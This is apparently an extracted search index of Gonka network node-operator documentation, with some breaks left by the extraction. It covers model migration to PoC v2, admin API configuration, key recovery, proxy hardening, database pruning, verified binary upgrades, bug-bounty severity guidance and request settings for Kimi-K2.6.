Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8Qwen/Qwen3-32B-FP8 is supported during the migration period, but does not contribute to PoC v2 readiness or weight assignment. Participation in PoC v2 requires serving Qwen/Qwen3-235B-A22B-Instruct-2507-FP8.
Removed models
All previously supported models are removed from the active set and must not be served.
2. PoC v2 readiness criteria (Important)
Successful participation in the PoC v2 transition requires both of the following:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8. This is the only model that contributes to PoC v2 weight.Important
3. Check ML Node allocation status (recommended safety step)
Before changing models, you should inspect the current ML Node allocation. Query your Network Node admin API:
curl http://127.0.0.1:9200/admin/v1/nodes\n\"timeslot_allocation\": [\n true,\n false\n]\nRecommended behavior
false4. Update models for ML Nodes: keep the supported model only
Pre-download model weights (recommended). To avoid startup delays, pre-download weights into HF_HOME:
mkdir -p $HF_HOME\nhuggingface-cli download Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\nQwen/Qwen3-235B-A22B-Instruct-2507-FP8). For example:
curl -X PUT \"http://localhost:9200/admin/v1/nodes/node1\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 800,\n \"models\": {\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"240000\"\n ]\n }\n }\n }'\nNote
node-config.json is used only on the first launch of the Network Node API or when the local state/database is removed. Edit it for a fresh restart. For existing nodes, model updates should be performed via the Admin API.
5. Upgrade the ML Node image (required for PoC v2)
Edit docker-compose.mlnode.yml and update the ML Node image:
Standard GPUs
image: ghcr.io/product-science/mlnode:3.0.12-post3\nimage: ghcr.io/product-science/mlnode:3.0.12-post3-blackwell\ngonka/deploy/join: source config.env\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\nConfirm the ML Node is serving Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 only, which is the only model used for PoC v2 weights and future weight assignment:
curl http://127.0.0.1:8080/v1/models | jq\ncurl http://127.0.0.1:9200/admin/v1/nodes\nGovernance and PoC v2 activation notes
PoC v2 is introduced in stages, not activated all at once.
Stage 1. Observation (current state after v0.2.8)
After the v0.2.8 upgrade, PoC v2 logic is available but not active for weight assignment.
During this stage:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 or Qwen/Qwen3-32B-FP8Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and upgrade them to PoC v2-compatible versions in order to contribute to PoC v2 weight.Stage 2. Governance proposal (optional, future) Once a sufficient level of adoption among active Hosts is observed (approximately 50%):
The adoption threshold is observational only and does not trigger any automatic changes.
Stage 3. Activation (only after governance approval)
PoC v2 becomes the active method of weight assignment only if and when the governance proposal is approved by the chain.
Until this proposal is approved:
Summary checklist
Before PoC v2 activation, ensure that:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP83.0.12-post3 (or 3.0.12-post3-blackwell)For granting permissions to new warm keys created after the v0.2.9 upgrade, the CLI version v0.2.9 should be used.
"}, {"location": "gonka/docs/FAQ/#where-can-i-find-information-on-key-management", "title": "Where can I find information on key management?", "text": "You can find a dedicated section on Key Management in the documentation. It outlines the procedures and best practices for securely managing your application's keys on the network.
"}, {"location": "gonka/docs/FAQ/#i-cleared-or-overwrote-my-consensus-key", "title": "I Cleared or Overwrote My Consensus Key", "text": "If you are using tmkms and deleted the .tmkms folder, simply restart tmkms — it will automatically generate a new key. To register the new consensus key, submit the following transaction:
./inferenced tx inference submit-new-participant \\\n <PUBLIC_URL> \\\n --validator-key <CONSENSUS_KEY> \\\n --keyring-backend file \\\n --unordered \\\n --from <COLD_KEY_NAME> \\\n --timeout-duration 1m \\\n --node http://<node-url>/chain-rpc/ \\\n --chain-id gonka-mainnet\nBack up the cold key on your local device, outside the server.
1) Stop the API container:
docker compose down api --no-deps\n2) Set KEY_NAME for the warm key in your config.env file.
3) [SERVER]: Recreate the warm key:
source config.env && docker compose run --rm --no-deps -it api /bin/sh\n4) Then execute inside the container:
printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | \\\ninferenced keys add \"$KEY_NAME\" --keyring-backend file\n5) [LOCAL]: From your local device (where you backed up the cold key), run the transaction:
./inferenced tx inference grant-ml-ops-permissions \\\n gonka-account-key \\\n <address-of-warm-key-you-just-created> \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --gas 2000000 \\\n --node http://<node-url>/chain-rpc/\n6) Start the API container:
source config.env && docker compose up -d\nProof of Compute (PoC) is a consensus mechanism that replaces capital-based or hash-based weighting with provable Transformer-based computational capability. It defines how real AI compute is measured and converted into governance and consensus weight. PoC is executed through short, synchronized Sprints that occur at the end of each epoch. Outside the Sprint, the epoch is used for real-world AI computation. In practice, the terms Proof of Compute (PoC) and Sprint are often used interchangeably. When referring to “Next PoC” or “PoC phase”, this typically means the next Sprint, which is the execution phase of Proof of Compute.
"}, {"location": "gonka/docs/FAQ/#what-is-sprint", "title": "What is Sprint?", "text": "Sprint is a phase of Proof of Compute. During a Sprint, all Hosts simultaneously run AI-relevant inference on a transformer with randomized layers over a stream of nonces, producing output vectors. A Host’s voting power for the next epoch is proportional to the number of nonces it processed, as long as the reported outputs are verifiably produced by the required Sprint model.
"}, {"location": "gonka/docs/FAQ/#how-to-simulate-proof-of-compute-poc", "title": "How to simulate Proof-of-Compute (PoC)?", "text": "You may want to simulate PoC on a ML Node yourself to make sure that everything will work when the PoC phase begins on the chain.
To run this test you either need to have a running ML Node that isn't yet registered with the api node or pause the api node. To pause the api node use docker pause api. Once you’re finished with the test you can unpause: docker unpause api.
For the test itself you will be sending POST /v1/pow/init/generate request to ML Node, the same that api node sends at the start of the POC phase: https://github.com/gonka-ai/gonka/blob/312044d28c7170d7f08bf88e41427396f3b95817/mlnode/packages/pow/src/pow/service/routes.py#L32
The following model params are used for PoC: https://github.com/gonka-ai/gonka/blob/312044d28c7170d7f08bf88e41427396f3b95817/mlnode/packages/pow/src/pow/models/utils.py#L41
If your node is in the INFERENCE state then you first need to transition the node to the stopped state:
curl -X POST \"http://<ml-node-host>:<port>/api/v1/stop\" \\\n -H \"Content-Type: application/json\"\nNow you can send a request to initiate PoC:
curl -X POST \"http://<ml-node-host>:<port>/api/v1/pow/init/generate\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"node_id\": 0,\n \"node_count\": 1,\n \"block_hash\": \"EXAMPLE_BLOCK_HASH\",\n \"block_height\": 1,\n \"public_key\": \"EXAMPLE_PUBLIC_KEY\",\n \"batch_size\": 1,\n \"r_target\": 10.0,\n \"fraud_threshold\": 0.01,\n \"params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": 10.0,\n \"multiple_of\": 8192,\n \"norm_eps\": 1e-5,\n \"rope_theta\": 10000.0,\n \"use_scaled_rope\": false,\n \"seq_len\": 256\n },\n \"url\": \"http://api:9100\"\n }'\n8080 port of ML Node's proxy container or directly to ML Node's 8080 https://github.com/gonka-ai/gonka/blob/312044d28c7170d7f08bf88e41427396f3b95817/deploy/join/docker-compose.mlnode.yml#L26 If the test runs successfully, you will see logs similar to the following:
2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Created 4 GPU groups:\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 0: GpuGroup(devices=[0], primary=0) (VRAM: 79.2GB)\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 1: GpuGroup(devices=[1], primary=1) (VRAM: 79.2GB)\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 2: GpuGroup(devices=[2], primary=2) (VRAM: 79.2GB)\n2025-08-25 20:53:33,568 - pow.compute.controller - INFO - Group 3: GpuGroup(devices=[3], primary=3) (VRAM: 79.2GB)\n2025-08-25 20:53:33,758 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [0]\n2025-08-25 20:53:33,944 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [1]\n2025-08-25 20:53:34,151 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [2]\n2025-08-25 20:53:34,353 - pow.compute.controller - INFO - Using batch size: 247 for GPU group [3]\nDAPI_API__POC_CALLBACK_URL. 2025-08-25 20:54:58,822 - pow.service.sender - INFO - Sending generated batch to http://api:9100/\nA 0% confirmation ratio is an unusual condition and indicates that no nonces were sent from your API node during the epoch, meaning the node did not participate in Confirmation Proof-of-Compute (CPoC) at all. To investigate, check the API node logs and ML Node logs, as they should indicate why nonce submission did not occur.
Possible causes include:
To mitigate this risk, ensure that admin and management ports are not publicly accessible, verify that the API node is running and correctly configured, monitor consensus node synchronization, and set up alerts for ML Node and driver failures.
"}, {"location": "gonka/docs/FAQ/#performance-troubleshooting", "title": "Performance & troubleshooting", "text": ""}, {"location": "gonka/docs/FAQ/#how-do-i-protect-my-node-from-ddos-attacks-using-the-proxy-pre-release-v028", "title": "How do I protect my node from DDoS attacks using the proxy pre-release (v0.2.8)?", "text": "A new proxy version is available with rate limiting and DDoS protection measures.
What’s New:
training and poc-batches/chain-api, /chain-rpc, and /chain-grpc endpointsUpdate instructions
Step 1: Update proxy image
sed -i -E 's|(image:[[:space:]]*ghcr.io/product-science/proxy)(:.*)?$|\\1:0.2.8-pre-release-proxy@sha256:6ccb8ac8885e03aab786298858cc763a99f99543b076f2a334b3c67d60fb295f |' docker-compose.yml\nImportant
Step 2 disables /chain-api, /chain-rpc, and /chain-grpc endpoints on this node. After applying it, this node will no longer serve public RPC traffic. If you operate public RPC endpoints, you must run separate RPC-only nodes (without these restrictions) and keep this node private.
Step 2 (Optional): Disable chain-api, chain-rpc, and chain-grpc
If you want to completely disable /chain-api, /chain-rpc, and /chain-grpc endpoints:
sed -i 's|DASHBOARD_PORT=5173|DASHBOARD_PORT=5173\\n - DISABLE_CHAIN_API=${DISABLE_CHAIN_API:-true}\\n - DISABLE_CHAIN_RPC=${DISABLE_CHAIN_RPC:-true}\\n - DISABLE_CHAIN_GRPC=${DISABLE_CHAIN_GRPC:-true}\\n|' docker-compose.yml\nsed -i -E -e '/GONKA_API_(EXEMPT|BLOCKED)_ROUTES/d' -e 's|(- GONKA_API_PORT=9000)|\\1\\n - GONKA_API_EXEMPT_ROUTES=chat inference\\n - GONKA_API_BLOCKED_ROUTES=poc-batches training|' docker-compose.yml\nproxy:\n container_name: proxy\n image: ghcr.io/product-science/proxy:0.2.8-pre-release-proxy@sha256:6ccb8ac8885e03aab786298858cc763a99f99543b076f2a334b3c67d60fb295f\n ports:\n - \"${API_PORT:-8000}:80\"\n - \"${API_SSL_PORT:-8443}:443\"\n environment:\n - NGINX_MODE=${NGINX_MODE:-http}\n - SERVER_NAME=${SERVER_NAME:-}\n - GONKA_API_PORT=9000\n - GONKA_API_EXEMPT_ROUTES=chat inference\n - GONKA_API_BLOCKED_ROUTES=poc-batches training\n - CHAIN_RPC_PORT=26657\n - CHAIN_API_PORT=1317\n - CHAIN_GRPC_PORT=9090\n - DASHBOARD_PORT=5173\n - DISABLE_CHAIN_API=${DISABLE_CHAIN_API:-true}\n - DISABLE_CHAIN_RPC=${DISABLE_CHAIN_RPC:-true}\n - DISABLE_CHAIN_GRPC=${DISABLE_CHAIN_GRPC:-true}\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull proxy\nsource ./config.env && docker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d --no-deps proxy\nYou can close port 26657 as an external port.
It is optional, but highly recommended:
sed -i 's|- \"26657:26657\"|#- \"26657:26657\"|g' docker-compose.yml\nnode:\n container_name: node\n ...\n ports:\n - \"5000:26656\" #p2p\n #- \"26657:26657\" #rpc\nsource ./config.env && docker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d --no-deps node\nIf you previously accessed the node status using curl -s http://localhost:26657/status, you can now access it from within the containers:
curl)Option 2: From the node container (using wget) docker exec proxy curl -s node:26657/status | jq\ndocker exec node wget -qO- http://localhost:26657/status | jq\nFor continuous monitoring with watch:
watch -n 5 'docker exec node wget -qO- http://localhost:26657/status | jq -r \".result.sync_info | \\\"Block: \\(.latest_block_height) | Time: \\(.latest_block_time) | Syncing: \\(.catching_up)\\\"\"'\n.inference directory?", "text": "Cosmovisor creates a full backup in the .inference state folder whenever it performs an update. For example, you can see a folder like data-backup-<some_date>. As of November 20, 2025, the size of the data directory is about 150 GB, so each backup will take approximately the same amount of space. To safely run the update, it is recommended to have 250+ GB of free disk space. You can remove old backups to free space, although in some cases this may still be insufficient and you might need to expand the server disk. To remove an old backup directory, you can use:
sudo su\ncd .inference\nls -la # view the list of folders. There will be folders like data-backup... DO NOT DELETE ANYTHING EXCEPT THESE\nrm -rf <data-backup...>\nNATS is currently configured to store all messages indefinitely, which leads to continuous growth in memory usage. A recommended solution is to configure a 24-hour time-to-live (TTL) for messages in both NATS streams.
go install github.com/nats-io/natscli/nats@latest\nnats stream info txs_to_send --server localhost:<your_nats_server_port>\nnats stream info txs_to_observe --server localhost:<your_nats_server_port>\ninference_url?", "text": "You may need to update your inference_url if:
This operation does not require re-registration, re-deployment, or key regeneration. Updating your inference_url is performed through the same transaction used for initial registration (the submit-new-participant msg).
The chain logic checks whether your Host (participant) already exists:
InferenceURL, ValidatorKey, WorkerKey.All other fields are preserved automatically.
This means updating inference_url is a safe, non-destructive operation.
Note
When a Node updates its execution URL, the new URL becomes active immediately for inference requests coming from other Nodes. However, the URL recorded in ActiveParticipants is not updated until the next epoch because modifying it earlier would invalidate the cryptographic proof associated with the participant set. To avoid service disruption, it is recommended to keep both the previous and the new URLs operational until the next epoch completes.
[LOCAL] Perform the update locally, using your Cold Key:
./inferenced tx inference submit-new-participant \\\n <PUBLIC_URL> \\\n --validator-key <CONSENSUS_KEY> \\\n --keyring-backend file \\\n --unordered \\\n --from <COLD_KEY_NAME> \\\n --timeout-duration 1m \\\n --node http://<node-url>/chain-rpc/ \\\n --chain-id gonka-mainnet\napplication.db growing so large, and how do I fix it?", "text": "Some nodes have an issue with growing size of application.db.
.inference/data/application.db stores the history of states for the chain (not blocks), by default it's state for 362880.
The state history contains a full merkle tree per each state and it's safe to have it preserved for significantly shorter length. For example, only for 1000 blocks.
The pruning parameters can be set in .inference/config/app.toml:
...\npruning = \"custom\"\npruning-keep-recent = \"1000\"\npruning-interval = \"100\"\nNew configuration will be used after restart of the node container. But there is a problem - even when pruning is enabled, database clean is really slow.
There are several ways how to reset application.db:
1) Stop node
docker stop node\n2) Remove data
sudo rm -rf .inference/data/ .inference/.node_initialized\nsudo mkdir -p .inference/data/\n3) Start node
docker start node\nThis approach may take some time during which the node will not be able to record transactions.
Please use available trusted nodes to download snapshot.
Snapshots are enabled by default and stored in .inference/data/snapshots
1) Prepare new application.db ( node container's still running)
1.1) Prepare temporary home directory for inferenced
mkdir -p .inference/temp\ncp -r .inference/config .inference/temp/config\nmkdir -p .inference/temp/data/\n1.2) Copy snapshots:
cp -r .inference/data/snapshots .inference/temp/data/\n1.3) List snapshots
inferenced snapshots list --home .inference/temp\nCopy height for the latest snapshot.
1.4) Start restoring from snapshot ( node container is still running)
inferenced snapshots restore <INSERT_HEIGHT> 3 --home .inference/temp\nThis might take some time. Once it is finished, you'll have new application.db in .inference/temp/data/application.db
2) Replace application.db with new one
2.1) Stop node container (from another terminal window)
docker stop node\n2.2) Move original application.db
mv .inference/data/application.db .inference/temp/application.db-backup\nmv .inference/wasm .inference/wasm.db-backup\n2.3) Replace it with new one
cp -r .inference/temp/data/application.db .inference/data/application.db\ncp -r .inference/temp/wasm .inference/wasm\n2.4) Start node container (from another terminal window):
docker start node\n3) Wait till node container is synchronized and delete .inference/temp/
If you have several nodes, it is recommended cleaning one by one.
Additional option might be to start separate instance of node container on separate CPU only machine and setup in strict validator mode:
api containerOnce it's running, move existing tmkms volume to the new node (disable block signing on existing one first).
This is the general idea of the approach. If you decide to try it and have any questions, feel free to reach out on Discord.
A fix is now available for the long-standing issue where application.db continues to grow under many pruning configurations. This improvement was contributed by Lelouch33 and is included in release 0.2.10-post6. With the updated logic and the following settings, application.db can remain around 100 GB:
SNAPSHOT_INTERVAL=1000SNAPSHOT_KEEP_RECENT=2pruning-keep-recent = \"20000\"pruning-interval = \"512\"References:
After upgrading to this binary, pruning will begin after the next snapshot block. This process is relatively heavy and may temporarily slow down the node container while the old state history is being removed.
To reduce operational impact, it is recommended to apply the update to nodes one by one and use a higher pruning-interval, such as 512, to avoid pruning too frequently.
If a node slows down significantly during pruning, restarting the node container may help it catch up.
Applying this update before the upcoming v0.2.11 upgrade is recommended to prevent pruning from starting simultaneously across many nodes.
Apply update (example from v0.2.7, which has identical inferenced):
# Pre-check: Ensure no confirmation PoC is active (fails entire script if not false)\necho \"--- Pre-flight Check: Confirmation PoC Status ---\" && \\\nCONFIRMATION_POC_ACTIVE=$(curl -sf \"https://node3.gonka.ai/v1/epochs/latest\" | jq -r '.is_confirmation_poc_active') && \\\n[ \"$CONFIRMATION_POC_ACTIVE\" = \"false\" ] && \\\necho \"OK: No confirmation PoC active\" && \\\n\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.10-post7/ .inference/data/upgrade-info.json && \\\nsudo mkdir -p .inference/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nwget -q -O inferenced.zip 'https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.10-post7/inferenced-amd64.zip' && \\\necho \"5ed8941d50779fa2359a9745263b324b887465104f81073827321945ab1f392a inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.10-post7/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .inference/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.10-post7 .inference/cosmovisor/current && \\\necho \"d9093b225cbd531afc56c99d0b0996b1fa2896c0745cd73293f0de08132f7754 .inference/cosmovisor/current/bin/inferenced\" | sudo sha256sum --check && \\\n\n# Restart \nsource config.env && docker compose up node --no-deps --force-recreate -d\nClaimReward didn’t go through, what should I do?", "text": "If you have unclaimed reward, execute:
curl -X POST http://localhost:9200/admin/v1/claim-reward/recover \\\n -H \"Content-Type: application/json\" \\\n -d '{\"force_claim\": true, \"epoch_index\": 106}'\ncurl http://node2.gonka.ai:8000/chain-api/productscience/inference/inference/epoch_performance_summary/106/<ACCOUNT_ADDRESS> | jq\nTo help keep the Ethereum bridge stable during the mainnet upgrade, update the bridge image to 0.2.14-post3 in advance. If you have multiple network nodes, please update them one by one. Please make sure to perform this step outside of PoC or cPoC.
Run all commands from deploy/join (where docker-compose.yml and .dapi/ are).
Update bridge image to 0.2.14-post3
bridge:\n container_name: bridge\n image: ghcr.io/product-science/bridge:0.2.14-post3\nRestart bridge container
source config.env && docker compose up --force-recreate bridge\nImportant
This cleanup process must be completed before the upgrade happens. If you upgrade before cleaning up the models, your node will be rejected and go offline.
Version 0.2.12 removes every governance model that is not on the post-upgrade approved list. On mainnet, only the previously enforced model and Kimi will remain.
Each DAPI persists its MLNode configurations locally. On startup, it validates every configured model against the on-chain governance list. If a configuration includes at least one unsupported model, the entire node is rejected and the host goes offline.
Version 0.2.11 masked this problem by trimming the runtime view down to the enforced model, so /admin/v1/nodes appeared clean even when the persisted config still contained extra models. Version 0.2.12 stops this trimming, meaning the persisted config is loaded directly.
To fix this, the script below finds each node with extra models in /admin/v1/config and sends a PUT request with a cleaned config to /admin/v1/nodes/<id>. These changes are persisted within 60 seconds. The remaining model's arguments, hardware, and ports are preserved exactly. Nodes that do not list the enforced model are skipped and will require manual fixing.
Paste the following script into the host's shell. By default, it will apply the changes. To preview the changes without applying them, set APPLY=dry (or any value other than --apply).
Script in the repository:
ADMIN=${ADMIN:-http://127.0.0.1:9200}\nKEEP=${KEEP:-Qwen/Qwen3-235B-A22B-Instruct-2507-FP8}\nAPPLY=${APPLY:-\"--apply\"}\n\ncurl -sS \"$ADMIN/admin/v1/config\" | jq -r --arg k \"$KEEP\" '\n .nodes[] | \"\\(.id): \" + (\n if (.models | has($k) | not) then \"skip (\\(.models | keys))\"\n elif (.models | length) == 1 then \"ok\"\n else \"\\(.models | keys) -> [\\($k)]\" end)'\n\nif [[ \"$APPLY\" == \"--apply\" ]]; then\n curl -sS \"$ADMIN/admin/v1/config\" \\\n | jq -c --arg k \"$KEEP\" \\\n '.nodes[] | select((.models | has($k)) and (.models | length > 1)) | .models = {($k): .models[$k]}' \\\n | while IFS= read -r p; do\n id=$(jq -r .id <<<\"$p\")\n curl -sS -f -X PUT -H 'Content-Type: application/json' -d \"$p\" \\\n \"$ADMIN/admin/v1/nodes/$id\" >/dev/null && echo \"$id: updated\"\n done\n echo \"done; persisted within 60s\"\nelse\n echo \"preview only; rerun without APPLY=dry to commit\"\nfi\nWait 60 seconds after running the script to ensure the changes are persisted before triggering the upgrade. Then, verify the configuration:
curl -sS http://127.0.0.1:9200/admin/v1/config \\\n | jq '.nodes[] | {id, models: (.models | keys)}'\nExpected output:
{\n \"id\": \"<nodeId>\",\n \"models\": [\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\"\n ]\n}\n# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12/bin \\\n .inference/cosmovisor/upgrades/v0.2.12/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/decentralized-api-amd64.zip\" && \\\necho \"d0143a95e12e1ada06cfea5e4d3deab13534c3523c967e9a6b87ac9f9bf3247d decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/inferenced-amd64.zip\" && \\\necho \"df7656503d39f6703767d32d5578d1291e32cb114844d8c1cd0f134d1bf4babd inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"94ce943338d12844028e84fe770106c9d28d866cf0af99f27da30f56d69efa34 .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"642eb9858cd77d182f3e1c4d44553f5379d615983430e1fd8e85f09632af4271 .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced\" | sudo sha256sum --check\nIt’s not necessary to be a Host to participate: anyone can report a security vulnerability or contribute fixes, improvements, and new features to the broader Gonka infrastructure.
There are two complementary tracks:
Gonka runs its security program on HackerOne. Submit all vulnerability reports through the official form at gonka.ai/docs/report-vulnerability rather than disclosing them in public issues, pull requests, or chats.
How rewards work on HackerOne:
The final severity classification and payout are determined by the Gonka program on HackerOne. The table below is provided only as a general guide to how severity is reasoned about.
A common way to think about severity is:
Risk = Impact × Likelihood\nImpact levels
Level Description Examples Critical Catastrophic for the whole network Full network control hijack High Significant disturbance at scale Network crash/halt; theft from module; wrong rewards for all participants Medium Moderate disruption, limited scope Consensus or reward integrity at risk; single-participant funds or availability Low Minor impact on isolated participants, no chain impact single-component, minor effect on a single participant, non-chainLikelihood
Risk Matrix
Impact \\ Likelihood High Medium Low Critical Critical Critical High High Critical High Medium Medium High Medium Low Low Medium Low Informational"}, {"location": "gonka/docs/FAQ/#how-do-i-contribute-to-protocol-development", "title": "How do I contribute to protocol development?", "text": "If you want to help develop the protocol (not report a security issue), the workflow is community-driven on GitHub:
up-for-grabs, or create your own issue and seek validation from the community that the work is worth doing. Before starting an existing issue, leave a quick comment that work has started and include an approximate ETA, so others have visibility and avoid duplicate effort.gonka-ai/gonka.How contribution rewards are paid: rewards for accepted contributions are paid out through a network upgrade in a stablecoin. As with all on-chain actions, the upgrade and its payments are subject to governance approval.
"}, {"location": "gonka/docs/FAQ/#where-do-i-propose-and-discuss-ideas-for-the-protocol", "title": "Where do I propose and discuss ideas for the protocol?", "text": "The community-aligned Gonka Network Development Roadmap describes the strategic horizons, roadmap tracks, and current priorities for protocol development. Use it to understand what matters most right now and to align your contributions and proposals with the network’s direction.
"}, {"location": "gonka/docs/FAQ/#where-can-i-see-who-was-paid-bounties-for-what-and-when", "title": "Where can I see who was paid bounties, for what, and when?", "text": "For security bounties, the record lives in the Gonka program on HackerOne. For protocol contributions, the most reliable sources are on-chain records and GitHub. Use them as the main source of truth for who was paid, what the reward was for, and when it was executed.
"}, {"location": "gonka/docs/FAQ/#errors", "title": "Errors", "text": ""}, {"location": "gonka/docs/FAQ/#no-epoch-models-available-for-this-node", "title": "No epoch models available for this node", "text": "Here you can find examples of common errors and typical log entries that may appear in node logs.
2025/08/28 08:37:08 ERROR No epoch models available for this node subsystem=Nodes node_id=node1\n2025/08/28 08:37:08 INFO Finalizing state transition for node subsystem=Nodes node_id=node1 from_status=FAILED to_status=FAILED from_poc_status=\"\" to_poc_status=\"\" succeeded=false blockHeight=92476\nerr=\"no validator signing info found\" when starting from a state sync snapshot?", "text": "If you periodically hit err=\"no validator signing info found\" during startup from a state sync snapshot, it is typically related to the Cosmos SDK iavl-fastnode behavior. A safe workaround is to disable fastnode for the initial startup, then (optionally) re-enable it after the node is fully synced.
Fix (Docker):
docker stop node\n.inference/config/app.toml, set: iavl-disable-fastnode = true\ndocker start node\nNote
main includes v0.2.10-post6. Nodes starting from this version apply this setting automatically, so you typically won’t need to change it manually.
This is about you if
content=null and finish_reason=length.max_tokens=100 returns nothing.Fix-first: a working configuration for Kimi-K2.6
If you don't have time to dig in — copy this payload as a starting point. As of 2026-05-28 it worked on two public brokers; verify it's still current with your broker operator before using it.
{\n \"model\": \"moonshotai/Kimi-K2.6\",\n \"messages\": [\n {\"role\": \"user\", \"content\": \"Write hello world in Python.\"}\n ],\n \"max_tokens\": 4096,\n \"thinking\": {\"type\": \"disabled\"},\n \"thinking_token_budget\": 0,\n \"temperature\": 0.2\n}\nWhy these exact fields:
max_tokens: 4096 — give the model the entire available output budget. The effective cap on brokers right now is 3,072 (see Q3) — going higher is useless. Minimum 256, otherwise the gateway may force thinking_token_budget to zero.thinking: {\"type\": \"disabled\"} — disables hidden thinking via a chat template hint.thinking_token_budget: 0 — belt-and-suspenders: explicitly zeroes the budget at the generation parameter level (see Q2).moonshotai/Kimi-K2.6 (capital K) on gonka-api.org, moonshotai/kimi-k2.6 (lowercase k) on gonkagate.com. Got a 404 — flip the case. Cross-check against the GET /v1/models response.Ready-to-use curl (replace <broker> and the model ID case):
curl -sS https://<broker>/v1/chat/completions \\\n -H \"Authorization: Bearer $GONKA_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d @payload.json\nIf it returned meaningful text — the problem is in your original payload; compare the fields one by one. If content=null — capture the id from the response and send it to the broker's support.
First check whether the rules are active on your broker
Gateway behavior depends on the broker and changes over time. Run this test:
curl https://<your-broker>/v1/chat/completions \\\n -H 'content-type: application/json' \\\n -H \"Authorization: Bearer $GONKA_API_KEY\" \\\n -d '{\n \"model\": \"moonshotai/Kimi-K2.6\",\n \"messages\": [{\"role\": \"user\", \"content\": \"one word\"}],\n \"max_tokens\": 100\n }'\ndevshard ≥ 0.2.13 (force-zero-below-256 active) finish_reason=\"length\", ~0–10 reasoning tokens Older build finish_reason=\"length\", ~40–60 reasoning tokens (default max_tokens / 2) The rules below describe the recent gateway code (devshard ≥ 0.2.13). Your broker may not be updated yet. Not sure about the version? — run the fix-first above. If it works with meaningful text, the gateway is recent enough. If not — send response.id to the broker's support with a question about updating.
What happens on the model and gateway side
Kimi-K2.6 specifics. The model emits <think>…</think> blocks. Both sections (<think> and visible content) consume max_tokens equally. With small max_tokens the model burns the entire budget inside <think> and returns only </think>, which vLLM strips as a special token → content=null, finish_reason=length. From the client side — \"0 tokens.\"
Gateway rules for thinking_token_budget (PR #1202, devshard 0.2.13+):
max_tokens < 256 ttb = 0 (force-zero, overrides the client) ttb not set, max_tokens >= 256 ttb = max_tokens / 2 ttb set by the client uses the client's value always clamp: ttb ≤ 96,000 and ttb ≤ max_tokens − 64 Additionally:
max_tokens floor → 16 (PR #1227) — previously max_tokens=1 reliably produced content=null. Now it's silently raised to 16.thinking: {\"type\":\"disabled\"} mirror (PR #1224) — the gateway mirrors it into chat_template_kwargs.thinking=false. The Kimi chat template reads the kwarg.Scenarios that historically produced content=null (max_tokens=1, the probe-shape max=100, min=100, ttb=50) now return non-empty content through the recent gateway. On gonkagate.com (2026-05-25), max_tokens=100 without ttb returned ~50 reasoning tokens — force-zero-below-256 is not active there.
For Inference User:
